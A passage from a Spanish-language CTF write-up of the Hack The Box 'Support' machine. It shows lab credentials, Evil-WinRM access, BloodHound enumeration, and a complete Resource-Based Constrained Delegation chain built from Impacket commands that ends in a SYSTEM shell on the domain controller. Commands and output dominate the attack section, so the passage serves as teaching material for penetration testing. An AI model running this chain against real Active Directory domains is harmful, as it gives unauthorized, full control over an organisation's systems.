<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `ldapsearch` → herramienta de línea de comandos para realizar consultas a servidores LDAP
* `-x` → usa autenticación simple (no SASL)
* `-H ldap://10.10.11.174` → dirección y protocolo del servidor LDAP (controlador de dominio del CTF)
* `-D 'ldap@support.htb'` → usuario con el que se autentica la consulta, en formato UPN
* `-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'` → contraseña del usuario `ldap`
* `-b "DC=support,DC=htb"` → base DN que define el punto de partida de la búsqueda, corresponde a la raíz del dominio
* `> ldap_enum.txt` → redirige la salida de la consulta al archivo `ldap_enum.txt` para su análisis offline

Nota: en el formato de salida **LDIF** (LDAP Data Interchange Format), cada entrada de usuario comienza con una línea que contiene su **`dn:`** (Distinguished Name) y termina **antes del siguiente** `dn:` o **al final del archivo**.

</details>

Ahora que conseguimos otro par de credenciales nuevas podemos chequear cuales son los servicios a los que podemos acceder con el script `service_validation.sh`

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ service_validation.sh support.htb support 'Ironside47pleasure40Watchful' 
</strong>
[*] Probando credenciales contra support.htb con usuario 'support'...

--- Probando smb ---
SMB         10.10.11.174    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.174    445    DC               [+] support.htb\support:Ironside47pleasure40Watchful

--- Probando ldap ---
SMB         10.10.11.174    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.174    389    DC               [+] support.htb\support:Ironside47pleasure40Watchful

--- Probando winrm ---
WINRM       10.10.11.174    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
<strong>WINRM       10.10.11.174    5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
</strong>
--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.11.174    135    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
RPC         10.10.11.174    135    DC               [+] support.htb\support:Ironside47pleasure40Watchful

--- Probando ftp ---

--- Probando ssh ---
</code></pre>

### ***Active Directory Privilege Escalation Mapping con Bloodhound***&#x20;

Tenemos acceso a WinRM, por lo que podemos ingresar usando [**EvilWinRM**](/securitylayer/pentesting-tools/tools/evilwinrm.md) y enumerar manualmente las características del usuario `support` en busca de privilegios o grupos para explotar

<pre class="language-vim" data-full-width="true" data-expandable="true"><code class="lang-vim"><strong>❯ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
</strong>                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                              
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                         
                                        
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\support\Documents> whoami /all

USER INFORMATION
----------------

User Name       SID
=============== =============================================
support\support S-1-5-21-1677581083-3380853377-188903654-1105

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
<strong>SUPPORT\Shared Support Accounts            Group            S-1-5-21-1677581083-3380853377-188903654-1103 Mandatory group, Enabled by default, Enabled group
</strong>NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
<strong>SeMachineAccountPrivilege     Add workstations to domain     Enabled
</strong>SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
</code></pre>

Por ahora lo que destaca de esta enumeración es el grupo `SUPPORT\Shared Support Accounts` y el privilegio `SeMachineAccountPrivilege` pero vamos a realizar una enumeración más exhaustiva con bloodhound para ver si existe alguna relación entre estos objetos y el domain controller que podamos explotar para lograr escalar **privilegios**. Para enumerar info con Bloodhound tenemos dos opciones:

1\) Con `bloodhound-python`

Si no conoces esta herramienta a continuación te dejo un artículo introductorio para que puedas comprender su uso

### [*Primeros pasos en BloodHound*](https://medium.com/@securitylayer/primeros-pasos-en-bloodhound-1a3bd1b77f8c) <a href="#id-61ba" id="id-61ba"></a>

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -v --zip -c All -dc support.htb -ns 10.10.11.174
</strong></code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

**¿Qué hace?**

* Usa la herramienta `bloodhound-python`, una reimplementación de SharpHound para Linux, escrita en Python.
* Se conecta al dominio `support.htb` usando el usuario y contraseña indicados.
* `-dc support.htb`: especifica el **FQDN del Domain Controller**.
* `-ns 10.10.11.174`: DNS que resuelve el nombre del DC.
* `-c All`: indica que recolecte **todas las categorías posibles**, como:
  * ACLs, Trusts, Sessions, SPN targets, Group Memberships, etc.
* `--zip`: empaqueta los resultados en un archivo `.zip`, listo para ser cargado directamente en la GUI de BloodHound.
* `-v`: modo verbose, imprime información durante el proceso.

</details>

2\) Con el módulo `--bloodhound` de `nxc`&#x20;

{% code fullWidth="true" %}

```vim
❯ nxc ldap 10.10.11.174 -u support -p support_pass --bloodhound -ns 10.10.11.174 -c Group,LocalAdmin,RDP,DCOM,Container,PSRemote,Session,Acl,Trusts,LoggedOn
```

{% endcode %}

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

**¿Qué hace?**

* Utiliza **`nxc` (NextCollector)**, una herramienta moderna escrita en Go, compatible con BloodHound.
* Se conecta al **servidor LDAP** del Domain Controller (`10.10.11.174`) usando el usuario `support`.
* Usa el **plugin `--bloodhound`** para recolectar datos útiles para gráficos de relaciones en BloodHound.
* Se especifica un **servidor DNS/Nameserver** con `-ns 10.10.11.174`.
* El parámetro `-c` selecciona **qué tipos de datos recolectar**, como:
  * `Group`: grupos de AD.
  * `LocalAdmin`: miembros del grupo Administradores locales.
  * `RDP`, `DCOM`, `PSRemote`: relaciones de acceso remoto.
  * `Session`, `LoggedOn`: sesiones activas.
  * `Acl`: delegaciones y permisos.
  * `Trusts`, `Container`: relaciones entre objetos y dominios.

**Resultado:**

* Genera archivos JSON con los datos recolectados para importar en BloodHound.
* No requiere Python ni Windows, lo que lo hace ideal para ambientes mínimos o contenedores.

</details>

Una vez que tenemos el archivo con toda la información recolectada abrimos la gui de Bloodhound y volcamos el .zip para ver el mapa de relaciones entre objetos del dominio.&#x20;

<figure><img src="/files/2Ii3Vxp4j2z9qCFM7UnL" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/LpOhn3B5ifkND74C5elA" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/PlO7arvWVgAaQ1GcuUKD" alt="" width="563"><figcaption></figcaption></figure>

Si buscamos específicamente qué relaciones tiene el grupo `SUPPORT\Shared Support Accounts` con el dominio vamos a encontrar lo siguiente:

<figure><img src="/files/3qXHb8ygIKrZO4CGyv2J" alt=""><figcaption></figcaption></figure>

Este resultado nos indica lo siguiente:

* BloodHound muestra que ese grupo tiene **permisos excesivos** (`GenericAll`) sobre el Domain Controller (`DC.SUPPORT.HTB`), lo que significa que **tiene control total sobre ese equipo** dentro del dominio.
* Esto nos indica que podemos realizar una **escalada de privilegios** mediante la técnica llamada **Resource-Based Constrained Delegation (RBCD)**.
* Con RBCD, podriamos **crear una máquina falsa**, configurar delegación hacia el DC, y **obtener un ticket Kerberos como `Administrator`**, consiguiendo una shell como `NT AUTHORITY\SYSTEM`
* Recordemos que el usuario `support` **es miembro del grupo `Shared Support Accounts`** por lo tanto también contamos indirectamente con el permiso `GenericAll`, entonces podemos usar esta cuenta para explotar el RBCD

### ***Resource-Based Constrained Delegation (RBCD) con Impacket***

Si no conoces el funcionamiento de las delegaciones en Kerberos te recomiendo que antes leas el siguiente artículo donde explico los 3 tipos de delegación, Unconstrained Delegation, Constrained Delegation y Resource-Based Constrained Delegation, el último es el que explotáremos a continuación

### [*Kerberos delegation*](https://securitylayer.gitbook.io/kerberoscity/entendiendo-kerberos/4-kerberos-delegation)

**Paso 1) Crear y agregar una cuenta con** [**impacket-addcomputer**](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-addcomputer)

**¿Qué hace el script `impacket-addcomputer`?**

Este script agrega una nueva cuenta de máquina (Computer Account) al dominio. Por defecto, en muchos entornos de Active Directory los usuarios del dominio tienen el privilegio de crear objetos de computadora (hasta 10, por defecto).

**Objetivo del ataque:**\
Agregar un equipo controlado por el atacante al dominio, lo cual habilita los siguientes escenarios:

* Obtener un TGT para esa máquina (como si fuera legítima).
* Realizar ataques de delegación como **RBCD (Resource-Based Constrained Delegation)**.
* Generar tickets Kerberos para suplantar usuarios privilegiados (como `Administrator`)

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-addcomputer -computer-name 'ATTACKCOMPUTER$' -computer-pass 'AttackPassword123' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful' 
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

<strong>[*] Successfully added machine account ATTACKCOMPUTER$ with password AttackPassword123.
</strong></code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `impacket-addcomputer` → Script de la suite Impacket que permite agregar una cuenta de máquina (computer object) en Active Directory si el usuario tiene privilegios suficientes (como es común con cuentas autenticadas del grupo Domain Users).
* `-computer-name 'ATTACKCOMPUTER$'` → Define el nombre que tendrá la nueva cuenta de máquina. El signo `$` indica que es un objeto de tipo "computer", como se espera en AD.
* `-computer-pass 'AttackPassword123'` → Contraseña asignada a la cuenta de computadora que se está creando. Será usada luego para autenticarse o generar tickets Kerberos (TGT).
* `-dc-ip 10.10.11.174` → Dirección IP del Domain Controller (DC) con el que se comunicará el script. Esto evita depender de la resolución DNS del nombre del dominio.
* `'support.htb/support:Ironside47pleasure40Watchful'` → Cadena de autenticación con el formato `DOMINIO/usuario:contraseña`. En este caso:
  * Dominio: `support.htb`
  * Usuario: `support`
  * Contraseña: `Ironside47pleasure40Watchful`

</details>

<details>

<summary>📌 <em><strong>Explicación del output</strong></em></summary>

* El usuario `support` con su contraseña fue capaz de autenticarse correctamente en el DC.
* El script solicitó la creación de un nuevo objeto de tipo computadora (`ATTACKCOMPUTER$`) en el dominio `support.htb`.
* La operación fue exitosa. El nuevo objeto ahora forma parte del dominio y está listo para ser utilizado en ataques Kerberos avanzados.

</details>

**Paso 2)** Desde la sesión de EvilWinRM verificamos si la cuenta de equipo que acabamos de crear fue agregada correctamente al dominio Active Directory. Esto es importante antes de lanzar ataques de delegación. El comando que vamos a usar desde PowerShell es el siguiente

* `Get-ADComputer` → Cmdlet de PowerShell del módulo ActiveDirectory que permite consultar información de objetos de tipo "computadora" en el dominio. Requiere privilegios de red o ejecución local con acceso al dominio.
* `-Identity "ATTACKCOMPUTER$"` → Especifica el nombre de la computadora que queremos buscar. El símbolo `$` indica que es una cuenta de equipo, como se utiliza en AD para distinguirlas de cuentas de usuario.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' 
</strong>                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                              
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                         
                                        
Info: Establishing connection to remote endpoint

<strong>*Evil-WinRM* PS C:\Users\support\Documents> Get-ADComputer -Identity "ATTACKCOMPUTER$"
</strong>
DistinguishedName : CN=ATTACKCOMPUTER,CN=Computers,DC=support,DC=htb
DNSHostName       :
Enabled           : True
<strong>Name              : ATTACKCOMPUTER
</strong>ObjectClass       : computer
ObjectGUID        : da8ba8f9-24d0-4515-a856-fdca1e8234d7
SamAccountName    : ATTACKCOMPUTER$
<strong>SID               : S-1-5-21-1677581083-3380853377-188903654-5603
</strong>UserPrincipalName :
</code></pre>

**Paso 3)** Con [**impacket-rbcd**](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-rbcd) **vamos a configurar la delegación basada en recursos (RBCD)** para esta nueva cuenta, permitiéndole actuar en nombre de otros usuarios sobre un objetivo (como el `DC$`). A las cuentas que tienen esta configuración se las denomina "delegantes autorizados".

#### *¿Qué hace este comando?*

Este comando permite **configurar delegación basada en recursos (RBCD)** en un entorno Active Directory. En concreto, modifica el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` del equipo víctima (`-delegate-to`) para permitir que otro objeto (en este caso, un equipo que controlamos) pueda **impersonar usuarios mediante el mecanismo S4U2Proxy**.

Esto es esencial para explotar RBCD: primero se agrega una cuenta de equipo al dominio (con `impacket-addcomputer`), luego se le dan permisos sobre otro host con este comando.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-rbcd -action write -delegate-from 'ATTACKCOMPUTER$' -delegate-to 'DC$' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful' 
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Accounts allowed to act on behalf of other identity:
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5601
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5602
[*] Delegation rights modified successfully!
[*] ATTACKCOMPUTER$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5601
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5602
[*] ATTACKCOMPUTER$   (S-1-5-21-1677581083-3380853377-188903654-5603)
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `-action write` → Indica que se realizará una **escritura** en el atributo de delegación del objetivo. Es decir, se va a modificar la ACL del equipo de destino (`-delegate-to`) para permitir la delegación.
* `-delegate-from 'ATTACKCOMPUTER$'` → Especifica **quién recibirá los permisos de delegación**. Es el nombre del equipo (objeto en el dominio) que podrá actuar en nombre de otros usuarios.
* `-delegate-to 'DC$'` → Define **quién será el objetivo de la delegación**. Este es el nombre del equipo sobre el que queremos que `ATTACKCOMPUTER$` pueda hacer impersonación (típicamente el DC).
* `-dc-ip 10.10.11.174` → IP del Domain Controller que se usará para hacer las consultas y modificaciones LDAP.
* `'support.htb/support:Ironside47pleasure40Watchful'` → Credenciales del usuario con permisos suficientes para modificar objetos en el dominio. Se usa el formato `DOMINIO/usuario:contraseña`.

</details>

<details>

<summary>📌 <em><strong>Explicación del output</strong></em></summary>

* `[*] Accounts allowed to act on behalf of other identity:`\
  Muestra los objetos que actualmente tienen permiso para usar delegación sobre el equipo objetivo (en este caso, `DC$`).
* `[*] Delegation rights modified successfully!`\
  Confirmación de que la modificación fue exitosa. Se aplicó la nueva entrada ACL en `msDS-AllowedToActOnBehalfOfOtherIdentity`.
* `[*] ATTACKCOMPUTER$ can now impersonate users on DC$ via S4U2Proxy`\
  ¡Objetivo logrado! Ahora `ATTACKCOMPUTER$` puede pedir tickets de servicio (TGS) para el `DC$` **en nombre de otros usuarios**, lo que habilita el ataque RBCD.

</details>

**Paso 4)** Ahora podemos usar el equipo controlado (`ATTACKCOMPUTER$`) para **impersonar usuarios** (como `Administrator`) hacia el equipo víctima (`DC$`) usando **S4U2Proxy**. El siguiente paso es solicitar un TGT con impersonación utilizando [**impacket-getTGT**](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-gettgt).

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-getTGT support.htb/ATTACKCOMPUTER\$ -p 'AttackPassword123' -dc-ip 10.10.11.174   
</strong>
/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ATTACKCOMPUTER$.ccache
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `support.htb/ATTACKCOMPUTER\$` → Especifica el nombre de usuario y el dominio. El símbolo `\$` es necesario para escapar el carácter `$` en shell, ya que indica una variable.
* `-p 'AttackPassword123'` → Usa la contraseña en texto claro. Internamente, Impacket genera el hash NTLM automáticamente.
* `-dc-ip 10.10.11.174` → Dirección IP del **Controlador de Dominio (DC)** con el que se realiza la autenticación.

</details>

<details>

<summary>📌<em><strong>Output</strong></em></summary>

`[*] Saving ticket in ATTACKCOMPUTER$.ccache` → El ticket TGT obtenido se guarda en un archivo `.ccache`, que puede utilizarse posteriormente en otros ataques Kerberos, como la solicitud de un TGS con `getST` o el uso directo mediante `KRB5CCNAME`.

En un ataque de Resource-Based Constrained Delegation (RBCD), obtener un TGT (Ticket Granting Ticket) es obligatorio antes de poder solicitar un TGS (Ticket Granting Service), ya que Kerberos requiere primero autenticarse con el KDC mediante un TGT para luego autorizar el acceso a un servicio específico mediante un TGS. En este contexto, la herramienta `getTGT.py` de Impacket se usa para generar ese TGT y lo guarda en un archivo `.ccache`, generalmente con un nombre basado en el dominio y el usuario. Para que `getST.py` pueda utilizar ese TGT y solicitar un TGS, es necesario exportar la variable de entorno `KRB5CCNAME` apuntando al archivo `.ccache` generado, de esta forma `getST.py` sabe automáticamente qué ticket utilizar. Por tanto, el flujo correcto en un ataque RBCD implica ejecutar `getTGT.py`, exportar `KRB5CCNAME` con el archivo generado, y luego usar `getST.py` con los parámetros adecuados para obtener un TGS válido e impersonar a un usuario objetivo.

</details>

**Paso 5)** Ahora vamos a configurar la variable de entorno `KRB5CCNAME` para que las herramientas que requieran de autenticación Kerberos (como `impacket-psexec`, `evil-winrm`, `smbclient`, etc.) utilicen el **ticket Kerberos TGT,** previamente generado y guardado en el archivo `ATTACKCOMPUTER$.ccache`. Este ticket TGT nos va a permitir obtener un TGS para impersonar al usuario **Administrator**. En otras palabras, es el **paso que "inyecta" el ticket en el entorno** para continuar el ataque sin volver a autenticarnos con contraseña o hash.

{% code fullWidth="true" %}

```vim
❯ export KRB5CCNAME=$(pwd)/ATTACKCOMPUTER$.ccache
```

{% endcode %}

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `export` → Comando de Bash que define una variable de entorno disponible para todos los procesos que se ejecuten desde esa terminal.
* `KRB5CCNAME` → Variable de entorno específica de las herramientas que usan Kerberos. Define la ruta al archivo `.ccache` que contiene el ticket de Kerberos activo.
* `$(pwd)` → Ejecuta el comando `pwd` (print working directory) y devuelve el directorio actual. Esto asegura que se use la ruta absoluta al archivo del ticket.
* `/ATTACKCOMPUTER$.ccache` → Nombre del archivo que contiene el ticket TGT generado para el equipo `ATTACKCOMPUTER$`, el cual fue previamente agregado al dominio.

</details>

**Paso 6)** Ahora vamos a solicitar un **Ticket de Servicio (TGS)** válido para acceder al SPN `cifs/dc.support.htb` **pero impersonando al usuario Administrator**. Lo hacemos usando la **cuenta de equipo delegada** (`ATTACKCOMPUTER$`) que controlamos nosotros, gracias a la delegación S4U2Proxy que configuramos previamente.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-getST support.htb/ATTACKCOMPUTER$ -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174
</strong>
/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `support.htb/ATTACKCOMPUTER$` → Credenciales del equipo que tiene configurada la delegación. Lo usamos para autenticarnos y pedir el ticket TGS.
* `-spn cifs/dc.support.htb` → SPN (Service Principal Name) del servicio al que queremos acceder. En este caso, CIFS (SMB) del DC.
* `-impersonate Administrator` → Usuario que queremos suplantar (impersonar). En este ataque, buscamos suplantar al Administrator.
* `-dc-ip 10.10.11.174` → IP del Domain Controller (servidor de Active Directory) que procesará la petición Kerberos.

Aquí es donde ocurre la **impersonación real**:

* **S4U2Self**: se pide un ticket de servicio (TGS) para el usuario `Administrator`, validado por el KDC (porque `ATTACKCOMPUTER$` está autorizado para representar a otros).
* **S4U2Proxy**: se solicita un segundo ticket válido para acceder al servicio `cifs/dc.support.htb` **en nombre de Administrator**.

</details>

<details>

<summary>📌<em><strong>Output</strong></em></summary>

* `Password:` → El script solicita la contraseña de `ATTACKCOMPUTER$` si no se proporcionó el hash ni un TGT precargado.
* `[*] Impersonating Administrator` → Se inicia el proceso de suplantación de Administrator.
* `[*] Requesting S4U2self` → Solicita un TGS para el propio `ATTACKCOMPUTER$` en nombre de Administrator (paso 1).
* `[*] Requesting S4U2Proxy` → Solicita un TGS para `Administrator` hacia el SPN `cifs/dc.support.htb` (paso 2).
* `[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache` → Guarda el ticket final como archivo `.ccache`.

</details>

**Paso 7)** Cargamos el ticket Kerberos (`ccache`) que obtuvimos con `getST` y que representa al usuario Administrator. Este ticket será usado automáticamente por cualquier herramienta compatible con Kerberos (como `impacket-psexec`), sin necesidad de ingresar contraseña ni hash. Es un paso **esencial** para simular que ya tenemos un "pase VIP" firmado por el KDC (Key Distribution Center).

{% code fullWidth="true" %}

```vim
❯ export KRB5CCNAME=$(pwd)/Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
```

{% endcode %}

**Paso 8)** Utilizamos el ticket cargado en el paso anterior con [**impacket-psexec**](https://securitylayer.gitbook.io/securitylayer/maquinas-y-modulos-de-htb/windows-easy/pages/Xw2W4vyoDwFIQsPfF2rV#impacket-psexec.py), luego este se conecta al Domain Controller (`dc.support.htb`) y nos abre una sesión remota como Administrator. No nos pide credenciales porque ya tenemos un TGS válido en el archivo `.ccache`

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-psexec -k -no-pass dc.support.htb
</strong>
/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file YobWUjGd.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service mUkx on dc.support.htb.....
[*] Starting service mUkx.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `-k` → Indica que se usará **autenticación Kerberos** en vez de NTLM.
* `-no-pass` → No solicita contraseña, ya que se usará el ticket `.ccache`.
* `dc.support.htb` → Hostname del Domain Controller al que se conectará.

</details>

Si trasladamos todo este procedimiento a un gráfico, observaríamos algo así

<figure><img src="/files/IhohnJoxxVp9ymC8uPDT" alt=""><figcaption></figcaption></figure>

<details>

<summary>📌 <em><strong>Algunas aclaraciones más sobre lo visto en este ataque</strong></em></summary>

**1) ¿Cómo sabe el KDC que la cuenta ATTACKCOMPUTER$ está en el ACL del DC$?**

El **KDC no almacena ni consulta directamente el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity`**. Lo que hace es lo siguiente:

* Cuando solicitamos un **TGS en modo S4U2Proxy** (es decir, queremos actuar en nombre de otro usuario, en este caso el Administrator), el KDC valida que el **servicio objetivo (el SPN)** haya autorizado al solicitante a actuar en nombre de otros.
* El **SPN pertenece a una cuenta de equipo o de servicio**, en este caso, `DC$`, y es esa cuenta la que contiene el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity`.

Entonces:

* **El KDC revisa el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de la cuenta dueña del SPN solicitado (DC$).**
* Si en ese atributo está el SID de `ATTACKCOMPUTER$`, el KDC acepta la solicitud S4U2Proxy y emite el TGS.

**Conclusión:**\
El KDC no “sabe” directamente del ACL, pero sí **consulta en LDAP** si el solicitante (`ATTACKCOMPUTER$`) está autorizado a actuar en nombre de otros **según la configuración de la cuenta de destino del SPN**.

**2) ¿Cómo es posible que el KDC nos devuelva un TGS del servidor CIFS si no modificamos especificamente su atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` para agregar la cuenta** `ATTACKCOMPUTER$` **como hicimos con el DC?**

Esto tiene una **respuesta corta y una importante distinción técnica**:

* En el comando que usamos con **impacket-getST**, **el SPN solicitado es `cifs/dc.support.htb`**, que **pertenece a la cuenta del DC** (`DC$`).
* Anteriormente, cuando usamos `impacket-rbcd -delegate-to DC$`, ya habíamos **agregado la cuenta `ATTACKCOMPUTER$` al atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de DC$**.
* Por lo tanto, aunque el SPN diga `cifs/dc.support.htb`, sigue siendo parte de la **cuenta `DC$`**, y esa es la que autoriza la suplantación en ese servicio.

**Importante:**\
Si solicitáramos un TGS para `cifs/otherhost.support.htb`, que está en otra cuenta de equipo distinta, **no funcionaría**, salvo que modifiquemos el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de ese otro host también.

**3) ¿Qué es `msDS-AllowedToActOnBehalfOfOtherIdentity`?**

Es un **atributo de un objeto de equipo (computer object)** en Active Directory, introducido con **Windows Server 2012** para permitir una forma más flexible de **delegación basada en recursos**.

¿Qué almacena este atributo?

*Contiene una **ACL (Access Control List)**, en formato **Security Descriptor**, que define qué cuentas **pueden actuar en nombre de otros usuarios** cuando se accede a ese recurso.*\
*Específicamente, este atributo le dice a un equipo objetivo (en este caso el `DC$`):*

> *“Si una petición llega desde el equipo `ATTACKCOMPUTER$`, está permitido que actúe como si fuera otro usuario (en este caso como `Administrator`).”*

**4) ¿Qué es un "delegante autorizado"?**

En el contexto de **RBCD**, un "delegante autorizado" es cualquier cuenta (usualmente de equipo o servicio) que haya sido incluida en el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` del recurso objetivo.

Dicho de otro modo:

* El **objeto víctima, en este caso el DC,** es quien define quién puede suplantar usuarios para acceder a él.
* Cuando modificamos ese atributo con `impacket-rbcd -action write`, estamos diciendo:

  > *“Este equipo que creamos (`ATTACKCOMPUTER$`) ahora es un **delegante autorizado** para acceder al DC como cualquier otro usuario.”*

</details>

### ***Resource-Based Constrained Delegation (RBCD) con Impacket y Rubeus***

